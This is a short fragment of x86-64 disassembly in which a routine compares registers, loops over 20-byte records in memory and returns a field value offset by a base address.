cmp rcx, rax
jne 0x402a30
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402a68
jmp 0x402a4e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402a76
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402a4e
test r9d, r9d
jg 0x402a60
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret